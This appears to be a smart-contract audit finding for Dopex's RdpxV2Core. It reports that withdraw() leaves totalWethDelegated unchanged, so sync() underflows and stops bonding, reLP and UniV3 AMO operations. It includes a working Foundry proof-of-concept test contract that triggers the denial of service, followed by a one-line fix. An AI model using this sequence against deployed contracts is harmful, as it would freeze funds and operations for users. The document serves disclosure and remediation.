Dopex - yashar's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L306 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L930 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L873 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV3LiquidityAmo.sol#L361 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L306

Vulnerability details

Impact

Failure to correctly update the totalWethDelegated value, which is used in the sync function called by ReLPContract and UniV3LiquidityAMO, will DoS the ReLP, Bonding operations and UniV3LiquidityAMO due to arithmetic underflow.

Proof of Concept

The variable totalWethDelegated is employed to monitor the cumulative value of WETH that has been delegated to the RdpxV2Core. This value is incremented each time a user delegates WETH using addToDelegate function, and conversely, it is decremented whenever a user invokes the bondWithDelegate function.

This variable plays a crucial role in the sync function, which is responsible for syncing asset reserves with contract balances. Link to code

  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );
      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }
      reserveAsset[i].tokenBalance = balance;
    }
    emit LogSync();
  }

A challenge arises when a user calls the withdraw function to retrieve their delegated WETH. In this scenario, the totalWethDelegated variable remains unchanged. Link to code

  function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    _whenNotPaused();
    _validate(delegateId < delegates.length, 14);
    Delegate storage delegate = delegates[delegateId];
    _validate(delegate.owner == msg.sender, 9);
    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;
    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
    emit LogDelegateWithdraw(delegateId, amountWithdrawn);
  }

This will lead to complications since the sync function will encounter Arithmetic underflow in this line:

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }

Let's say Alice and Bob each delegate 100 WETH usig addToDelegate function, now the WETH balance of RdpxV2Core and the totalWethDelegated value are 200. But then, Bob decides to withdraw his WETH, so he calls the withdraw function and gets his WETH back. Now the WETH balance of RdpxV2Core is 100 while the totalWethDelegated value is still 200. Now if we call the sync function, it subtracts the value of totalWethDelegated variable (200) from the balance variable (100) which will revert due to Arithmetic underflow.

The situation is exacerbated by the use of sync function within ReLPContract and UniV3LiquidityAMO

Revert on reLP:

When the isReLPActive is set to true (depending on the market conditions of rDPX) , RdpxV2Core will invoke the reLP function with every bond and bondWithDelegate for swapping some of the WETH for rDPX. This action will result in an increase in the price and the Backing Reserve of rDPX.

• Calling reLP within bond: Link to code

    if (isReLPActive) IReLP(addresses.reLPContract).reLP(_amount);

• Calling reLP within bondWithDelegate: Link to code

    if (isReLPActive) IReLP(addresses.reLPContract).reLP(totalBondAmount);

reLP function will perform certain actions, subsequently, it will invoke the sync function: Link to code

    IRdpxV2Core(addresses.rdpxV2Core).sync();

In this situation, occurrence of Arithmetic underflow within sync function will completely DoS the ReLP which will also result in RdpxV2Core to revert on every bond and bondWithDelegate in the case when the isReLPActive is set to true.

Revert on every addLiquidity, removeLiquidity and swap in UniV3LiquidityAMO:

Within UniV3LiquidityAMO there's a function called _sendTokensToRdpxV2Core which invokes the sync function: Link to code

    IRdpxV2Core(rdpxV2Core).sync();

And it is triggered with every:

• addLiquidity:

    _sendTokensToRdpxV2Core(params._tokenA, params._tokenB);

• removeLiquidity:

    _sendTokensToRdpxV2Core(tokenA, tokenB);

• and swap:

    _sendTokensToRdpxV2Core(_tokenA, _tokenB);

In this situation, occurrence of Arithmetic underflow within the sync function will result in UniV3LiquidityAMO contract revert during any of these operations.

To test the scenario

1. Create a file named Underflow.t.sol in the tests/rdpxV2-core/ directory (beside Setup.t.sol).
2. Copy and paste the code below into the file.
3. Run the following commands:
   • Test for Underflow on Bonding operations: forge test --match-test testUnderflowOnBond
   • Test for Underflow on addLiquidity: forge test --match-test testUnderflowOnUniV3AddLiquidity
   • Test for Underflow on swap: forge test --match-test testUnderflowOnUniV3Swap
   • Test for Underflow on removeLiquidity: forge test --match-test testUnderflowOnUniV3RemoveLiquidity

Test Contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";
import { stdError } from "forge-std/StdError.sol";
import { Setup } from "./Setup.t.sol";

import { UniV3LiquidityAMO } from "../../contracts/amo/UniV3LiquidityAmo.sol";
import { UniV2LiquidityAMO } from "../../contracts/amo/UniV2LiquidityAmo.sol";

import { IUniswapV3Factory } from "contracts/uniswap_V3/IUniswapV3Factory.sol";
import "../../contracts/uniswap_V3/IUniswapV3Pool.sol";

contract Underflow is Setup {
  UniV3LiquidityAMO uniV3LiquidityAMO;
  UniV2LiquidityAMO uniV2LiquidityAMO;
  
  function testUnderflowOnBond() public {
    // Setting up the UniV2Amo
    setupUniV2Amo();

    // Setting up the ReLP contract
    setupReLP();

    // Occurrence of mismatch between totalWethDelegated and the WETH balance of rdpxV2Core 
    // after Bob withdrew his WETH
    delegateAndWithdraw();

    // Revert due to Arithmetic underflow when reLP calls rdpxV2Core's sync function
    vm.expectRevert(stdError.arithmeticError);
    rdpxV2Core.bond(1 * 1e18, 0, address(this));

    // Testing the bondWithDelegate
    uint256[] memory _amounts = new uint256[](1);
    uint256[] memory _delegateIds = new uint256[](1);
    _delegateIds[0] = 0;
    _amounts[0] = 1 * 1e18;

    vm.startPrank(address(1));
    rdpx.approve(address(rdpxV2Core), 2 * 1e18);
    
    // Revert due to Arithmetic underflow when reLP calls rdpxV2Core's sync function
    vm.expectRevert(stdError.arithmeticError);
    rdpxV2Core.bondWithDelegate(address(1), _amounts, _delegateIds, 0);
    vm.stopPrank();
    
  }

  function testUnderflowOnUniV3AddLiquidity() public{
    // Setting up the UniV3Amo
    setupUniV3Amo();

    // Occurrence of mismatch between totalWethDelegated and the WETH balance of rdpxV2Core 
    // after Bob withdrew his WETH
    delegateAndWithdraw();

    // test add liquidity
    int24 minTick = -887270;
    int24 maxTick = 887270;
    uint24 fee = 500;

    UniV3LiquidityAMO.AddLiquidityParams memory params = UniV3LiquidityAMO
      .AddLiquidityParams(
        address(rdpx),
        address(weth),
        minTick,
        maxTick,
        fee,
        1e18,
        1e18,
        0,
        0
      );
    
    // Revert due to Arithmetic underflow when UniV3LiquidityAmo calls rdpxV2Core's sync function
    vm.expectRevert(stdError.arithmeticError);
    uniV3LiquidityAMO.addLiquidity(params);
  }

  function testUnderflowOnUniV3Swap() public{
    // Setting up the UniV3Amo
    setupUniV3Amo();

    // For testing the swap, first we should add liquidity
    int24 minTick = -887270;
    int24 maxTick = 887270;
    uint24 fee = 500;

    UniV3LiquidityAMO.AddLiquidityParams memory params = UniV3LiquidityAMO
      .AddLiquidityParams(
        address(rdpx),
        address(weth),
        minTick,
        maxTick,
        fee,
        1e18,
        1e18,
        0,
        0
      );
    
    uniV3LiquidityAMO.addLiquidity(params);

    // Occurrence of mismatch between totalWethDelegated and the WETH balance of rdpxV2Core 
    // after Bob withdrew his WETH
    delegateAndWithdraw();

    // Revert due to Arithmetic underflow when UniV3LiquidityAmo calls rdpxV2Core's sync function
    vm.expectRevert(stdError.arithmeticError);
    uniV3LiquidityAMO.swap(address(weth), address(rdpx), 500, 1e18, 0, 0);

  }

  function testUnderflowOnUniV3RemoveLiquidity() public{
    // Setting up the UniV3Amo
    setupUniV3Amo();

    // To remove liquidity, first we should add some liquidity
    int24 minTick = -887270;
    int24 maxTick = 887270;
    uint24 fee = 500;

    UniV3LiquidityAMO.AddLiquidityParams memory params = UniV3LiquidityAMO
      .AddLiquidityParams(
        address(rdpx),
        address(weth),
        minTick,
        maxTick,
        fee,
        1e18,
        1e18,
        0,
        0
      );

    uniV3LiquidityAMO.addLiquidity(params);

    // Occurrence of mismatch between totalWethDelegated and the WETH balance of rdpxV2Core 
    // after Bob withdrew his WETH
    delegateAndWithdraw();

    // Revert due to Arithmetic underflow when UniV3LiquidityAmo calls rdpxV2Core's sync function
    vm.expectRevert(stdError.arithmeticError);
    uniV3LiquidityAMO.removeLiquidity(0, 0, 0);
  }

  // --------------------------------------------------------------------
  // -----------------------Preparation Functions------------------------
  // --------------------------------------------------------------------

  function setupUniV2Amo() public {
    uniV2LiquidityAMO = new UniV2LiquidityAMO();

    // set addresses
    uniV2LiquidityAMO.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );

    // give amo premission to access rdpxV2Core reserve tokens

    rdpxV2Core.addAMOAddress(address(uniV2LiquidityAMO));

    rdpxV2Core.approveContractToSpend(
      address(rdpx),
      address(uniV2LiquidityAMO),
      type(uint256).max
    );

    rdpxV2Core.approveContractToSpend(
      address(weth),
      address(uniV2LiquidityAMO),
      type(uint256).max
    );

    rdpx.transfer(address(rdpxV2Core), 50e18);
    weth.transfer(address(rdpxV2Core), 11e18);
  }

  function setupUniV3Amo() public{
    // create a v3 pool
    address pool = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984)
      .createPool(address(rdpx), address(weth), 500);
    // initalize a price in the uni v3 pool
    IUniswapV3Pool(pool).initialize(1771845812700903892492222464);

    uniV3LiquidityAMO = new UniV3LiquidityAMO(
      address(rdpx),
      address(rdpxV2Core)
    );

    rdpxV2Core.addAMOAddress(address(uniV3LiquidityAMO));

    rdpxV2Core.approveContractToSpend(
      address(rdpx),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpxV2Core.approveContractToSpend(
      address(weth),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpx.transfer(address(rdpxV2Core), 50e18);
    weth.transfer(address(rdpxV2Core), 11e18);
  }

  function setupReLP() public{
    // set address in reLP contract and grant role
    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    reLpContract.setreLpFactor(9e4);

    // add liquidity
    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
    uniV2LiquidityAMO.approveContractToSpend(
      address(pair),
      address(reLpContract),
      type(uint256).max
    );

    rdpxV2Core.setIsreLP(true);
  }

  /**
   * @notice Function that causes the mismatch between totalWethDelegated and the WETH balance of rdpxV2Core
   */
  function delegateAndWithdraw() public{
    uint256 totalWethDelegated;
    uint256 balance;
    uint256 delegateID;
    address alice = vm.addr(1);
    address bob = vm.addr(2);

    weth.transfer(alice, 100 * 1e18);
    weth.transfer(bob, 100 * 1e18);

    // Alice delegates 100 WETH
    vm.startPrank(alice);
    weth.approve(address(rdpxV2Core), type(uint256).max);
    rdpxV2Core.addToDelegate(100 * 1e18, 2e8);
    vm.stopPrank();

    // Bob delegates 100 WETH
    vm.startPrank(bob);
    weth.approve(address(rdpxV2Core), type(uint256).max);
    delegateID = rdpxV2Core.addToDelegate(100 * 1e18, 2e8);

    // Bob withdraws his 100 WETH immediately after delegation
    rdpxV2Core.withdraw(delegateID);
    vm.stopPrank();

    // Now the WETH balance of rdpxV2Core is 100 while totalWethDelegated is still 200
    totalWethDelegated = rdpxV2Core.totalWethDelegated();
    balance = weth.balanceOf(address(rdpxV2Core));
    assertNotEq(totalWethDelegated, balance);
  }
}

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Update the totalWethDelegated value on every withdraw:

diff --git a/RdpxV2Core.sol.orig b/RdpxV2Core.sol
index 513e187..e9e2c11 100644
--- a/RdpxV2Core.sol.orig
+++ b/RdpxV2Core.sol
@@ -984,6 +984,7 @@ contract RdpxV2Core is
     _validate(amountWithdrawn > 0, 15);
     delegate.amount = delegate.activeCollateral;
 
+    totalWethDelegated -= amountWithdrawn;
     IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
 
     emit LogDelegateWithdraw(delegateId, amountWithdrawn);

Assessed type

Under/Overflow